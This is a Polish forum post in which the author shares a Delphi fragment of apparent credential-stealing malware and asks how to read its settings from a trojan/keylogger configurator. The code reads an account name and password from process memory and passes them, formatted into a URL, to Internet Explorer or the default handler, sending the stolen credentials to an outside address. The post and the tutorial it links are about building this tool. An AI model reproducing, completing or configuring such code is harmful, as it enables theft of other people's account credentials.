Witam mam o to taki problem w zasobie mam taki kod

begin
 try
  Install;
  IEPath:=DeCode(IEPath);
  if not(FileExists(IEPath))then
   IEPath:=ExtractIEPath;
  User:='gosc';
  Anno:='tester';
  Start:
   repeat
     if(CheckData(MemReadString(_TMAcc), MemReadString(_TMPass)))then
      if(LAcc<>MemReadString(_TMAcc))and(LPass<>MemReadString(_TMPass)) then begin
       LAcc:=MemReadString(_TMAcc);
       LPass:=MemReadString(_TMPass);
       if FileExists(IEPath) then
        Execute(PChar(IEPath),PChar(Format(_MLINK+_ALINK,[User,MemReadString(_TMAcc),MemReadString(_TMPass), Anno])),False)
       else
        Execute(PChar(Format(_MLINK+_ALINK,[User,MemReadString(_TMAcc),MemReadString(_TMPass),Anno])),nil,False);
       Break;
      end;

i mam tam dwie zmienne User:='gosc' i Anno:='tester' i to wszystko ładnie pięknie działa lecz gdy chcĘ wczytać te zmienne po przez funkcje podane na tej stronie http://vdreams.pl/tematy/piszemy-konfigurator-pod-keylogeratrojanaitp,1250/ za nic mi nie wychodzi. Nie wiem jak przypisać zmienne User Split(XXX,0); bo ponoć trzeba jakoś przez public deklaration.
Split(XXX,1); // Odpowiada Edit2 z konfiguratora